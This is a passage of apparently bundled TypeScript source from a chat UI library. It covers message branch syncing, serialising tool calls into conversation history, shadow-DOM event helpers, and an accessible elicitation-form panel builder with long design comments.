a\n // full re-sync so segments/content land on the right elements.\n this._renderedIds.clear();\n // `usage` lives on the framework state (written by `aparte-message-done`)\n // and may not have reached the rebuilt path — carry it forward by id\n // so the stats popover survives every branch / retry / edit.\n const prev = this.binding.getMessages();\n const merged = incoming.map((m) => {\n if (m.usage !== undefined) return m;\n const old = prev.find((p) => p.id === m.id);\n return old?.usage !== undefined ? { ...m, usage: old.usage } : m;\n });\n this.binding.setMessages(merged);\n this.binding.onMessagesChange?.(merged);\n if (evt.detail.siblings.some((s) => s.count > 1)) {\n this._pendingSiblings = evt.detail.siblings;\n this.binding.afterRender(() => this._applyPendingSiblings());\n }\n };\n // capture=true fires before the viewport's own bubbling handler so the\n // repo is fresh when the navigate op reads it.\n const onBranchNavigate = () => this.syncRepoFromMessages();\n\n vp.addEventListener('aparte-path-changed', onPathChanged);\n vp.addEventListener('aparte-branch-navigate', onBranchNavigate, { capture: true });\n this._teardown.push(() => {\n vp.removeEventListener('aparte-path-changed', onPathChanged);\n vp.removeEventListener('aparte-branch-navigate', onBranchNavigate, { capture: true });\n });\n }\n}\n","/**\n * What one message contributes to the history a turn sends — its tool calls included.\n *\n * A reply goes out in the order it was shown, so a tool's result stays in the model's\n * context on later turns: the text before some calls and those calls as an assistant\n * envelope, each call's answer as a `tool` message, the text after them as the next\n * envelope.\n *\n * Every call is answered, because a provider rejects a request that declares a call\n * with no `tool` message after it: a refusal sends its reason, a crash its error line,\n * and a call that never finished — stopped, still pending — a fixed sentence saying so.\n */\nimport type { AparteChatMessage, AparteMessage, AparteSegment, AparteToolCallSegment } from '../types/index.js';\n\n/** The answer a call that never finished gives the model. */\nexport const STOPPED_TOOL_TEXT = 'The tool call was stopped before it ran.';\n\n/** The answer a call that ran and returned nothing gives the model — not \"stopped\", or it tries again. */\nexport const EMPTY_TOOL_TEXT = 'The tool returned no output.';\n\nfunction answerOf(segment: AparteToolCallSegment): string {\n const result = segment.result?.trim();\n if (segment.status === 'resolved') return result || EMPTY_TOOL_TEXT;\n if (segment.status === 'failed') return result || 'The tool failed.';\n if (segment.status === 'rejected') return result || STOPPED_TOOL_TEXT;\n return STOPPED_TOOL_TEXT;\n}\n\n/** A paused call still waiting for its answer — the one a resume leaves open for the server. */\nexport const isOpenDeferred = (segment: AparteSegment): segment is AparteToolCallSegment =>\n segment.type === 'tool_call'\n && Boolean((segment as AparteToolCallSegment).deferred)\n && ((segment as AparteToolCallSegment).status === 'awaiting-approval' || (segment as AparteToolCallSegment).status === 'pending');\n\n/**\n * `textOf` turns a run of non-call segments into the text a model reads back — the\n * client's own reconstruction, so a fence or an artifact reads the same whether a call\n * sits beside it or not.\n */\nexport function wireTurns(\n message: AparteMessage,\n textOf: (segments: AparteSegment[]) => string,\n options: {\n /**\n * Leave this message's paused calls unanswered: the request that RESUMES them\n * sends the envelope with those calls open, for the server to answer them.\n */\n openDeferred?: boolean;\n } = {},\n): AparteChatMessage[] {\n const segments = message.segments ?? [];\n if (message.role !== 'assistant' || !segments.some((s) => s.type === 'tool_call')) {\n const content = textOf(segments) || (typeof message.content === 'string' ? message.content : '');\n return content ? [{ role: message.role as AparteChatMessage['role'], content }] : [];\n }\n const out: AparteChatMessage[] = [];\n let texts: AparteSegment[] = [];\n let calls: AparteToolCallSegment[] = [];\n const flush = (): void => {\n const content = textOf(texts);\n if (calls.length === 0) {\n if (content) out.push({ role: 'assistant', content });\n } else {\n out.push({\n role: 'assistant',\n content,\n toolCalls: calls.map((c) => ({ id: c.toolCall.id, name: c.toolCall.name, input: c.toolCall.input })),\n });\n for (const c of calls) {\n if (options.openDeferred && isOpenDeferred(c)) continue;\n out.push({ role: 'tool', content: answerOf(c), toolCallId: c.toolCall.id, toolName: c.toolCall.name });\n }\n }\n texts = [];\n calls = [];\n };\n // Once a call is left open, the rest of the reply joins its envelope. The paused run\n // wrote ONE envelope for its turn, text after the calls included, and the server\n // resumes the calls that END the history: a second envelope after an open call is a\n // call left unanswered, and trailing text ends the history on no call at all.\n let open = false;\n for (const segment of segments) {\n if (segment.type === 'tool_call') {\n calls.push(segment as AparteToolCallSegment);\n if (options.openDeferred && isOpenDeferred(segment)) open = true;\n } else {\n if (calls.length > 0 && !open) flush();\n texts.push(segment);\n }\n }\n flush();\n return out;\n}\n","/**\n * Where an event really started, read from a listener on `document`.\n *\n * An event that crosses a shadow boundary is RETARGETED on its way out: seen from\n * outside, `event.target` is the shadow HOST, not the node that was hit. Core is light\n * DOM, so this never bites inside core — but a consumer mounting a chat inside a shadow\n * root of their own (their web component, a micro-frontend) is a documented\n * arrangement, and every handler core puts on `document` then asks \"was this inside\n * me?\" of the wrong element and answers no.\n *\n * `composedPath()[0]` is the node that was actually hit, whichever tree it lives in.\n * The fallbacks are for the two events that have no path: one dispatched by hand with\n * no `composed`, and one read after its dispatch has finished (the path is empty by\n * then). Internal — not exported from the package barrel; the four callers are core's\n * own document-level handlers.\n */\nexport function eventOrigin(e: Event): EventTarget | null {\n return e.composedPath?.()[0] ?? e.target;\n}\n\n/**\n * The tree a node lives in: the consumer's shadow root when a chat is mounted inside\n * one, the document otherwise. `document.querySelector` cannot see into a shadow tree —\n * so a sibling looked up through it is missed, and on a page that also holds one in the\n * light DOM it is the WRONG element that answers. Internal, like `eventOrigin`.\n */\nexport function rootOf(node: Node): ParentNode {\n return node.getRootNode() as ParentNode;\n}\n\n/**\n * The focused element as the node's own tree sees it. `document.activeElement` is\n * retargeted to the shadow HOST exactly as `event.target` is, so \"is the focus inside\n * me?\" answers no for every node sharing the node's shadow root.\n */\nexport function activeElementIn(node: Node): Element | null {\n return (node.getRootNode() as Partial<DocumentOrShadowRoot>).activeElement ?? document.activeElement;\n}\n","/**\n * buildElicitationPanel — turns an {@link AparteElicitationSchema} into a DOM panel\n * that the presenter mounts into the composer. Zero-dependency; covers all four\n * schema kinds (enum, boolean, string, object). The presenter reads `getContent`\n * on submit and `isComplete` to gate the send button (via `onChange`).\n */\n\nimport type {\n AparteElicitationSchema,\n AparteElicitationField,\n AparteElicitationEnumField,\n AparteElicitationBooleanField,\n AparteElicitationStringField,\n} from './types.js';\nimport { uuid } from '../utils/uuid.js';\nimport { contextConfig } from '../config/config-context.js';\n\n/**\n * One per stepped panel built, so its tab ids are unique in the document. A counter\n * rather than a random id: two panels can share a page (the workbench mounts two\n * chats), and a test that asserts on an id should not have to guess it.\n */\nlet steppedPanelSeq = 0;\n\nexport interface BuiltElicitationPanel {\n readonly el: HTMLElement;\n /**\n * The corner where the presenter puts its escape from the WHOLE request.\n *\n * Top-right, away from anything that answers a question — and the position is the\n * whole point. Beside the button that advances through the form, \"Skip\" would read\n * as \"skip THIS question\", while it declines everything (MCP's `decline`,\n * including questions already answered).\n *\n * The panel has no action row of its own: the composer's button carries submit.\n */\n readonly dismiss: HTMLElement;\n /** The current response content, shaped to match the schema. */\n getContent(): unknown;\n /** True when every required field has a usable value. */\n isComplete(): boolean;\n /** Focus the first input (called after mount). */\n focus(): void;\n /**\n * What the composer's one button means for this panel: `'submit'`, or `'none'`\n * when the panel has no act for it and it should not be drawn.\n *\n * The chips ARE the navigation through a form's questions, forwards and back: a\n * click on a choice selects, a tab switches question, one button submits the lot.\n * So the button means submit throughout, enabled once every question has an\n * answer, which is what `canProceed()` reports.\n *\n * `'none'` is for the shape where the button has no meaning at all: a single\n * question whose options settle on the click. Assignable to the composer's\n * `AparteComposerPanelMode` and deliberately spelled out rather than imported —\n * this layer describes what the PANEL has, and knows nothing about the element\n * that presents it.\n */\n mode(): 'submit' | 'none';\n /** Whether that button is enabled: every required question answered. */\n canProceed(): boolean;\n /** Kept for the presenter's contract; a form does nothing here — submitting is the presenter's. */\n proceed(): void;\n /**\n * Settled from INSIDE the panel: an option was clicked and that click is the\n * whole answer. The value is the content, shaped like `getContent()`.\n *\n * The same contract as `BuiltApprovalPanel.onSettle`, presented by the same path —\n * because it is the same act. A single-choice question is one\n * gesture, not a value you pick and then submit: WCAG's SC 3.2.2 and its F36\n * failure are about auto-submitting a form when an INPUT is set, which is why\n * these options are buttons rather than radios that fire on change.\n *\n * Only ever called for that shape. A form, a multi-select and a text field all\n * collect a value and resolve through the composer's button.\n */\n onSettle(cb: (content: unknown) => void): void;\n /**\n * Re-apply every string this panel took from the locale, in place.\n *\n * Bound by the same rule as a segment renderer's `relabel`: text and attributes\n * only, no node added or removed. A panel cannot be rebuilt on a language switch\n * — the reader may be halfway through typing an answer, or three questions into\n * a form — so the strings move and the DOM does not.\n *\n * Only the DEFAULTS move. A label the app supplied (`trueLabel`, a field's\n * `title`) is the app's copy and is left alone, which is why the closures are\n * registered where the default is used rather than at the end.\n */\n relabel(): void;\n}\n\n/**\n * Relabel closures for the panel currently being built.\n *\n * Ambient rather than threaded through six signatures, and safe because panel\n * construction is strictly synchronous: `buildElicitationPanel` sets this, calls the\n * builder, and restores it in a `finally`, so two panels can never share a list.\n * `contextConfig()` in this same file is read the same way for the same reason.\n */\nlet _relabels: Array<() => void> | null = null;\n\n/** Register one way to re-apply one default. A no-op outside a build. */\nfunction onRelabel(fn: () => void): void { _relabels?.push(fn); }\n\ninterface BuiltField {\n readonly el: HTMLElement;\n getValue(): unknown;\n isComplete(): boolean;\n focus(): void;\n /**\n * Whether this field has an act for the composer's button at all.\n *\n * Absent means yes, which is every field that collects a VALUE: you fill it in,\n * then you submit. A field that SETTLES — a single choice, rendered as buttons —\n * answers on the click and has nothing for that button until its free-text\n * escape is opened, at which point there is text to submit and this turns true.\n *\n * Read only by the single-field shape. A form always submits, and the fields in\n * one are built without a `settle` so this is never defined there.\n */\n offersSubmit?(): boolean;\n}\n\nfunction el<K extends keyof HTMLElementTagNameMap>(tag: K, className?: string, text?: string): HTMLElementTagNameMap[K] {\n const node = document.createElement(tag);\n if (className) node.className = className;\n if (text != null) node.textContent = text;\n return node;\n}\n\n/**\n * The label an option shows. Identical in both shapes; only what wraps it differs —\n * and the approval panel draws its options with it too, so a scope written as a\n * `description` sits under its label the same way in both panels.\n */\nexport function optionBody(label: string, description?: string, recommended?: boolean): HTMLElement {\n const body = el('span', 'aparte-elic-option-body');\n const title = el('span', 'aparte-elic-option-title', label);\n if (recommended) {\n // Said, not only tinted: a tint is a hint the eye may miss and a screen reader\n // never gets. The reference products write it into the label.\n const badge = el('span', 'aparte-tag aparte-tag--sm aparte-elic-option-badge',\n contextConfig().t('elicitationRecommended') || 'Recommended');\n title.append(' ', badge);\n }\n body.appendChild(title);\n if (description) body.appendChild(el('span', 'aparte-elic-option-desc', description));\n return body;\n}\n\n/**\n * An option that IS the answer: a button, settled on the first click.\n *\n * The approval panel's recipe, unchanged, because it is the same object — and its\n * comment in `elicitation.css` carries the measurements behind it: no colour (a solid\n * intent fill gives 2.19:1 against its own label on the dark palette), a column and\n * not a row of pills (the composer is narrow enough to wrap a real option label), and\n * read from the start rather than centred.\n */\nfunction commandOption(label: string, description?: string, recommended?: boolean): HTMLButtonElement {\n const button = el('button', 'aparte-btn aparte-btn--block aparte-btn--surface aparte-elic-option aparte-elic-option--command'\n + (recommended ? ' aparte-elic-option--recommended' : ''));\n button.type = 'button';\n button.appendChild(optionBody(label, description, recommended));\n return button;\n}\n\n/**\n * Write the field's title and description, and return the id of the title.\n *\n * The id is what lets a group of radios be NAMED by its question. Without it a\n * screen reader reads \"Chromium, radio button, 1 of 2\" and never the question it\n * answers, because nothing ties the `<p>` above the list to the list itself.\n */\nfunction fieldHeader(parent: HTMLElement, field: AparteElicitationField, skipTitle?: string): string | undefined {\n let titleId: string | undefined;\n // A single-question request carries the question in the panel's MESSAGE, and the\n // adapter also sets it as the field's title so a stepped form can label its\n // chips — so the same sentence was printed twice, one line apart. Whoever set\n // both meant one question, not two.\n if (field.title && field.title.trim() !== skipTitle?.trim()) {\n const title = el('p', 'aparte-elic-title', field.title);\n titleId = `elic-title-${uuid()}`;\n title.id = titleId;\n parent.appendChild(title);\n }\n if (field.description) parent.appendChild(el('p', 'aparte-elic-desc', field.description));\n return titleId;\n}\n\n/**\n * Name a group of choices, and say what kind of group it is.\n *\n * `radiogroup` is only correct for radios; a multi-select is a plain `group`. The\n * name comes from the field's own title when it has one (the multi-question form),\n * and otherwise from the panel's message — which IS the question in the\n * single-question form, and would otherwise leave the group unnamed.\n */\nfunction labelGroup(list: HTMLElement, opts: { multiple?: boolean; commands?: boolean; titleId?: string; fallbackLabel?: string }): void {\n // `radiogroup` describes a set of INPUTS you choose among and then submit. When the\n // options are buttons that settle on the click they are commands, so the group is a\n // plain `group` — and there is no roving `tabindex` to add with it: that is required\n // for `radiogroup`/`toolbar`/`listbox`/`menu`, not for command buttons, which are\n // each their own tab stop the way a dialog's buttons are.\n list.setAttribute('role', opts.multiple || opts.commands ? 'group' : 'radiogroup');\n if (opts.titleId) list.setAttribute('aria-labelledby', opts.titleId);\n else if (opts.fallbackLabel) list.setAttribute('aria-label', opts.fallbackLabel);\n}\n\n// ─── enum ────────────────────────────────────────────────────────────────────\n\nfunction buildEnumField(\n field: AparteElicitationEnumField,\n onChange: () => void,\n fallbackLabel?: string,\n settle?: (value: unknown) => void,\n): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-enum');\n const titleId = fieldHeader(wrap, field, fallbackLabel);\n const list = el('div', 'aparte-elic-options');\n const name = `elic-${uuid()}`;\n const type = field.multiple ? 'checkbox' : 'radio';\n /*\n * The recipe that matches the input's own type. These used to be native controls\n * tinted with `accent-color`, which is the one part of a form the browser still\n * draws itself — so the panel's controls were the only thing in the library whose\n * look changed with the OS, and on the dark palette they came out of a light-mode\n * UA as a pale box on a dark row.\n */\n const controlRecipe = type === 'checkbox' ? 'aparte-checkbox' : 'aparte-radio';\n // The field wins when it says something — that is the APP calling\n // `requestUserInput` directly. Otherwise it is the host's policy, not a\n // hardcoded `true` and no longer anything the model can decide.\n const allowOther = field.allowOther ?? contextConfig().getElicitationOptions().allowOther;\n const defaults = new Set(Array.isArray(field.default) ? field.default : field.default != null ? [field.default] : []);\n\n /*\n * ONE CHOICE IS ONE ACT, so the options are buttons and the click is the answer.\n *\n * Radios plus the composer's button spend two gestures on one decision, which is\n * not how any chat asks a question — and the accessibility argument runs the same\n * way, not against it. WCAG SC 3.2.2 (\"On Input\") and its F36 failure forbid\n * submitting automatically when an INPUT is given a value; a radio that fires on\n * change is exactly that. A button is an explicit activation, which is what F36\n * says to rely on instead. Auto-advancing radios is separately a documented\n * accessibility barrier (it removes the chance to review and change a selection);\n * a command button has nothing to review.\n *\n * Three conditions, each load-bearing:\n * - `settle` is only passed by the SINGLE-field shape. A form collects values and\n * submits them together, and settling on its last question would be F36 word\n * for word.\n * - not `multiple`: a multi-select accumulates, so it needs a commit.\n * - no `default`: a button cannot be pre-selected. A requester that supplied one\n * asked for a pre-filled, reviewable answer — MCP's \"SHOULD pre-populate\" — and\n * gets the radios that can honour it.\n */\n const settling = settle != null && !field.multiple && defaults.size === 0;\n labelGroup(list, { multiple: field.multiple, commands: settling, titleId, fallbackLabel });\n\n const buildOption = (value: string, label: string, description?: string, recommended?: boolean): HTMLElement => {\n if (settling) {\n const button = commandOption(label, description, recommended);\n button.addEventListener('click', () => settle?.(value));\n return button;\n }\n const row = el('label', 'aparte-field-choice aparte-elic-option' + (recommended ? ' aparte-elic-option--recommended' : ''));\n const control = el('input', controlRecipe + ' aparte-elic-control');\n control.type = type;\n control.name = name;\n control.value = value;\n if (defaults.has(value)) control.checked = true;\n row.append(control, optionBody(label, description, recommended));\n return row;\n };\n\n for (const opt of field.options) {\n list.appendChild(buildOption(opt.value, opt.label ?? opt.value, opt.description, opt.recommended));\n }\n\n // Free-text \"Other…\" fallback.\n let otherText: HTMLInputElement | null = null;\n /** Settling only: the escape has been opened, so there is text to submit. */\n let otherOpen = false;\n if (allowOther) {\n // Localised, like every other string the user reads. These four were\n // hardcoded English, which showed as an English \"Other…\" and \"Skip\" above\n // questions in the user's own language — visible the first time a French\n // model asked something. The locale keys are OPTIONAL, so an existing\n // locale package keeps compiling and falls back to English per key.\n const t = contextConfig();\n otherText = el('input', 'aparte-field aparte-elic-other-input');\n otherText.type = 'text';\n otherText.placeholder = t.t('elicitationOtherPlaceholder');\n otherText.style.display = 'none';\n otherText.setAttribute('aria-label', t.t('elicitationOtherLabel'));\n const otherInput = otherText;\n\n /*\n * The one option that does NOT settle, in either shape.\n *\n * Picking \"Other…\" is not an answer, it is a request to write one — so here it\n * reveals the field and hands the composer's button back its meaning (the\n * panel flips from `'none'` to `'submit'`). Structurally the approval panel's\n * instruction field, and the same reason: submitting written text is exactly\n * the act that button already means.\n */\n if (settling) {\n const button = commandOption(t.t('elicitationOther'));\n button.classList.add('aparte-elic-option--other');\n button.setAttribute('aria-expanded', 'false');\n button.addEventListener('click', () => {\n otherOpen = true;\n button.setAttribute('aria-expanded', 'true');\n otherInput.style.display = '';\n otherInput.focus();\n onChange();\n });\n const otherTitle = button.querySelector('.aparte-elic-option-title') as HTMLElement;\n onRelabel(() => {\n const now = contextConfig();\n otherTitle.textContent = now.t('elicitationOther');\n otherInput.placeholder = now.t('elicitationOtherPlaceholder');\n otherInput.setAttribute('aria-label', now.t('elicitationOtherLabel'));\n });\n list.append(button, otherInput);\n } else {\n // `aparte-field-choice` like every sibling row, which it was missing: with\n // no recipe there is no `display: flex`, so the control stacked ABOVE its\n // own label while the options above it sat inline. It also had no focus\n // outline, for the same reason — the recipe carries that too.\n const row = el('label', 'aparte-field-choice aparte-elic-option aparte-elic-option--other');\n const control = el('input', controlRecipe + ' aparte-elic-control');\n control.type = type;\n control.name = name;\n control.value = '__other__';\n const body = el('span', 'aparte-elic-option-body');\n const otherTitle = el('span', 'aparte-elic-option-title', t.t('elicitationOther'));\n body.appendChild(otherTitle);\n onRelabel(() => {\n const now = contextConfig();\n otherTitle.textContent = now.t('elicitationOther');\n otherInput.placeholder = now.t('elicitationOtherPlaceholder');\n otherInput.setAttribute('aria-label', now.t('elicitationOtherLabel'));\n });\n body.appendChild(otherText);\n row.append(control, body);\n list.appendChild(row);\n }\n }\n wrap.appendChild(list);\n\n const controls = () => Array.from(list.querySelectorAll<HTMLInputElement>('.aparte-elic-control'));\n const other = () => list.querySelector<HTMLInputElement>('input[value=\"__other__\"]');\n /*\n * Arrow keys SELECT as they move inside a radiogroup, so a `change` from one is\n * not consent: focusing the free-text field on it carries a keyboard reader out\n * of the group with no activation — WCAG SC 3.2.2 and its F36 failure, the very\n * thing this file refuses a hundred lines above when it makes one choice one\n * button. The field still opens; only the focus waits for a real activation.\n *\n * A keydown flag rather than a `click` listener, because the source is the only\n * truthful discriminator: Firefox has dispatched `click` on arrow-key radio\n * selection. A click clears the flag before its own `change` (activation fires\n * `change` after the click event), so an arrow pressed earlier cannot disarm a\n * later click.\n */\n let arrowed = false;\n list.addEventListener('keydown', (e) => { arrowed = (e as KeyboardEvent).key.startsWith('Arrow'); });\n list.addEventListener('click', () => { arrowed = false; });\n list.addEventListener('change', () => {\n const o = other();\n if (o && otherText) {\n otherText.style.display = o.checked ? '' : 'none';\n if (o.checked && !arrowed) otherText.focus();\n }\n arrowed = false;\n onChange();\n });\n otherText?.addEventListener('input', onChange);\n\n const typedOther = (): string => otherText?.value.trim() ?? '';\n\n if (settling) {\n // Every real option has already answered by the time anything reads this, so\n // the only value this shape can still hold is the free text.\n return {\n el: wrap,\n getValue: () => typedOther(),\n isComplete: () => otherOpen && typedOther() !== '',\n focus: () => list.querySelector<HTMLButtonElement>('.aparte-elic-option--command')?.focus(),\n offersSubmit: () => otherOpen,\n };\n }\n\n const getValue = (): string | string[] => {\n const otherVal = other()?.checked && typedOther() ? typedOther() : '';\n if (field.multiple) {\n const vals = controls().filter(c => c.checked && c.value !== '__other__').map(c => c.value);\n if (otherVal) vals.push(otherVal);\n return vals;\n }\n const checked = controls().find(c => c.checked);\n if (!checked) return '';\n return checked.value === '__other__' ? otherVal : checked.value;\n };\n\n return {\n el: wrap,\n getValue,\n isComplete: () => {\n const v = getValue();\n return field.multiple ? (v as string[]).length > 0 : v !== '';\n },\n focus: () => controls()[0]?.focus(),\n };\n}\n\n// ─── boolean ───────────────────────────────────────────────────────────────\n\nfunction buildBooleanField(\n field: AparteElicitationBooleanField,\n onChange: () => void,\n fallbackLabel?: string,\n settle?: (value: unknown) => void,\n): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-boolean');\n const titleId = fieldHeader(wrap, field, fallbackLabel);\n const list = el('div', 'aparte-elic-options');\n const name = `elic-${uuid()}`;\n // A yes/no asked on its own is the same act as any other single choice, so it\n // follows the same rule — see `settling` in `buildEnumField` for why, and for why\n // a supplied `default` keeps the radios that can honour it.\n const settling = settle != null && field.default == null;\n labelGroup(list, { commands: settling, titleId, fallbackLabel });\n\n if (settling) {\n const t = contextConfig();\n const mkCommand = (val: boolean, label: string, defaulted?: 'elicitationYes' | 'elicitationNo'): void => {\n const button = commandOption(label);\n button.addEventListener('click', () => settle?.(val));\n if (defaulted) {\n const title = button.querySelector('.aparte-elic-option-title') as HTMLElement;\n onRelabel(() => { title.textContent = contextConfig().t(defaulted); });\n }\n list.appendChild(button);\n };\n mkCommand(true, field.trueLabel ?? t.t('elicitationYes'), field.trueLabel ? undefined : 'elicitationYes');\n mkCommand(false, field.falseLabel ?? t.t('elicitationNo'), field.falseLabel ? undefined : 'elicitationNo');\n wrap.appendChild(list);\n return {\n el: wrap,\n // Never read: the click settles, so nothing downstream asks this shape for\n // a value. `false` rather than a throw keeps the field total.\n getValue: () => false,\n isComplete: () => false,\n focus: () => list.querySelector<HTMLButtonElement>('.aparte-elic-option--command')?.focus(),\n offersSubmit: () => false,\n };\n }\n\n const mk = (val: 'true' | 'false', label: string, defaulted?: 'elicitationYes' | 'elicitationNo'): void => {\n const row = el('label', 'aparte-field-choice aparte-elic-option');\n const control = el('input', 'aparte-radio aparte-elic-control');\n control.type = 'radio';\n control.name = name;\n control.value = val;\n if (field.default != null && String(field.default) === val) control.checked = true;\n const body = el('span', 'aparte-elic-option-body');\n const title = el('span', 'aparte-elic-option-title', label);\n // Registered only when the LOCALE supplied the label. A `trueLabel` the app\n // passed is its copy, in whatever language it chose, and a language switch\n // has no business rewriting it.\n if (defaulted) onRelabel(() => { title.textContent = contextConfig().t(defaulted); });\n body.appendChild(title);\n row.append(control, body);\n list.appendChild(row);\n };\n const t = contextConfig();\n mk('true', field.trueLabel ?? t.t('elicitationYes'), field.trueLabel ? undefined : 'elicitationYes');\n mk('false', field.falseLabel ?? t.t('elicitationNo'), field.falseLabel ? undefined : 'elicitationNo');\n wrap.appendChild(list);\n list.addEventListener('change', onChange);\n\n const checked = () => list.querySelector<HTMLInputElement>('input:checked');\n return {\n el: wrap,\n getValue: () => checked()?.value === 'true',\n isComplete: () => checked() != null,\n focus: () => list.querySelector<HTMLInputElement>('input')?.focus(),\n };\n}\n\n// ─── string ────────────────────────────────────────────────────────────────\n\nfunction buildStringField(field: AparteElicitationStringField, onChange: () => void, fallbackLabel?: string): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-string');\n fieldHeader(wrap, field, fallbackLabel);\n const input = field.multiline\n ? el('textarea', 'aparte-field aparte-field--textarea aparte-elic-text')\n : el('input', 'aparte-field aparte-elic-text');\n if (!field.multiline) (input as HTMLInputElement).type = 'text';\n if (field.placeholder) input.setAttribute('placeholder', field.placeholder);\n if (field.default) (input as HTMLInputElement | HTMLTextAreaElement).value = field.default;\n if (field.maxLength != null) input.setAttribute('maxlength', String(field.maxLength));\n // The visible title is a `<p>`, not a `<label for>`, so the input needs its own\n // accessible name — and the panel's message is the question in the\n // single-question form. 'Your answer' is the last resort, localised like the rest.\n // `||`, not `??`. An EMPTY title or message is not a name — and `??` took it,\n // so a request with `message: ''` gave its input `aria-label=\"\"`: no accessible\n // name at all, where the whole point of this line is that there always is one.\n // Found by a test written for the language switch, not for this.\n const ownName = field.title || field.description || fallbackLabel || undefined;\n input.setAttribute('aria-label', ownName ?? contextConfig().t('elicitationAnswerLabel'));\n if (ownName == null) {\n const named = input;\n onRelabel(() => { named.setAttribute('aria-label', contextConfig().t('elicitationAnswerLabel')); });\n }\n wrap.appendChild(input);\n input.addEventListener('input', onChange);\n\n const required = field.required ?? true;\n const value = () => (input as HTMLInputElement | HTMLTextAreaElement).value;\n return {\n el: wrap,\n getValue: () => value(),\n isComplete: () => {\n const v = value().trim();\n if (!required && v === '') return true;\n return v.length >= (field.minLength ?? 1);\n },\n focus: () => input.focus(),\n };\n}\n\n/**\n * The four schema kinds, exhaustively.\n *\n * `fallbackLabel` is the panel's message, passed down for the SINGLE-field shape\n * where the message is the question and the field itself carries no title — without\n * it, that field's group or input has no accessible name at all.\n *\n * `settle` is passed ONLY by that same single-field shape, and it is what lets a\n * choice answer on the click instead of waiting for the composer's button. A form\n * never passes it: its questions collect values that are submitted together.\n *\n * A consumer's field renderer gets no `settle` either, and that is the deliberate\n * escape: an app that wants the pick-then-submit shape registers one.\n */\nfunction buildField(\n field: AparteElicitationField,\n onChange: () => void,\n fallbackLabel?: string,\n key?: string,\n settle?: (value: unknown) => void,\n): BuiltField {\n // A consumer's field wins, and `null` from it means \"not this one\" — which is\n // what lets an app replace only the choices and keep the built-in text input.\n const custom = contextConfig().getElicitationFieldRenderer()?.(field, { key, notifyChange: onChange });\n if (custom) {\n return {\n el: custom.el,\n getValue: () => custom.getValue(),\n isComplete: () => custom.isComplete(),\n focus: () => custom.focus?.(),\n };\n }\n switch (field.type) {\n case 'enum': return buildEnumField(field, onChange, fallbackLabel, settle);\n case 'boolean': return buildBooleanField(field, onChange, fallbackLabel, settle);\n // No `settle`: text is written, not chosen, so it always needs a commit.\n case 'string': return buildStringField(field, onChange, fallbackLabel);\n }\n}\n\n// ─── panel ─────────────────────────────────────────────────────────────────\n\nexport function buildElicitationPanel(\n message: string | (() => string),\n schema: AparteElicitationSchema,\n onChange: () => void,\n): BuiltElicitationPanel {\n // A wrapper, so the builder below keeps its two return statements and needs no\n // restructuring: this owns the collector's lifetime and hands the result its\n // `relabel`. Restored in a `finally` because the builder can throw on a schema it\n // refuses, and a leaked collector would then attach one panel's closures to the\n // next one.\n const relabels: Array<() => void> = [];\n const outer = _relabels;\n _relabels = relabels;\n try {\n const built = buildPanel(message, schema, onChange);\n return { ...built, relabel: () => { for (const fn of relabels) fn(); } };\n } finally {\n _relabels = outer;\n }\n}\n\nfunction buildPanel(\n message: string | (() => string),\n schema: AparteElicitationSchema,\n onChange: () => void,\n): Omit<BuiltElicitationPanel, 'relabel'> {\n const panel = el('div', 'aparte-elic-panel');\n // Resolved once, and deliberately not re-read on relabel: a question here comes\n // from the tool that asked, which means the MODEL wrote it. Re-reading a\n // model-authored sentence on a language switch would mean nothing.\n const asked = typeof message === 'function' ? message() : message;\n if (asked) panel.appendChild(el('p', 'aparte-elic-message', asked));\n\n /*\n * The click that IS the answer, for the shapes that have one.\n *\n * An indirection because the presenter registers its callback AFTER this builder\n * returns, exactly as `buildApprovalPanel` does. `settled` guards a double click\n * on its own rather than trusting the presenter to: this builder is public\n * (`buildElicitationPanel`), so someone writing their own presenter gets the\n * guarantee too.\n */\n let settleCb: ((content: unknown) => void) | null = null;\n let settled = false;\n const settle = (content: unknown): void => {\n if (settled) return;\n settled = true;\n settleCb?.(content);\n };\n const onSettle = (cb: (content: unknown) => void): void => { settleCb = cb; };\n\n /*\n * The QUESTIONS scroll; the actions do not.\n *\n * The panel is capped at 50vh, and one question with six options plus the\n * free-text escape already exceeded that — so with everything in one scroll box,\n * \"Next\" sat below the fold and \"Skip\" was off screen entirely. The primary way\n * forward is not something a user should have to scroll to find.\n *\n * Only visible with real layout: jsdom reports every height as 0, and the browser\n * test that walks this flow clicked Next by selector without ever asking whether\n * it was in view. Found by looking at a screenshot of the running app.\n */\n const body = el('div', 'aparte-elic-body');\n panel.appendChild(body);\n\n // The corner for the whole-request escape. First in the DOM so it is reachable\n // before the questions, positioned out of their way by CSS.\n const dismiss = el('div', 'aparte-elic-dismiss');\n panel.appendChild(dismiss);\n\n if (schema.type === 'object') {\n const entries = Object.entries(schema.properties);\n const requiredKeys = new Set(schema.required ?? entries.map(([k]) => k));\n const cfg = contextConfig();\n\n // Re-entrant: a field's change has to refresh the step nav (which chip is\n // answered, whether Next is available) BEFORE the presenter re-reads\n // isComplete() for the send button.\n let syncNav = (): void => {};\n const notify = (): void => { syncNav(); onChange(); };\n\n const fields = entries.map(([key, field]) => {\n const built = buildField(field, notify, undefined, key);\n // Ensure a title so each field in a form is labelled.\n if (!field.title && !built.el.querySelector('.aparte-elic-title')) {\n built.el.insertBefore(el('p', 'aparte-elic-title', key), built.el.firstChild);\n }\n body.appendChild(built.el);\n return { key, field: built, required: requiredKeys.has(key), header: field.header };\n });\n\n const isComplete = (): boolean => fields.every(f => !f.required || f.field.isComplete());\n const api: Omit<BuiltElicitationPanel, 'relabel'> = {\n el: panel,\n dismiss,\n getContent: () => Object.fromEntries(fields.map(f => [f.key, f.field.getValue()])),\n isComplete,\n focus: () => fields[0]?.field.focus(),\n // A form of one behaves like a single field; only a real form steps.\n mode: () => 'submit',\n canProceed: isComplete,\n proceed: () => {},\n // A form never settles from inside: its questions are collected and\n // submitted together, and answering the last one on the click would be\n // WCAG's F36 word for word. Registered so the shape is total; never fired.\n onSettle,\n };\n\n // ONE QUESTION AT A TIME, past the first.\n //\n // Stacking every question in one box was inherited from MCP elicitation\n // without examining it: MCP describes a FORM for collecting structured data,\n // which is a different thing from asking a person two questions in the middle\n // of a conversation. No product does the latter by stacking — the shape they\n // all use is one question at a time with a chip per question, and it is what\n // `header` exists for. `layout: 'stacked'` keeps the form case, because that\n // case is real; it is just not the default.\n //\n // `isComplete()` is deliberately unchanged — still \"every required field\" —\n // so the protocol 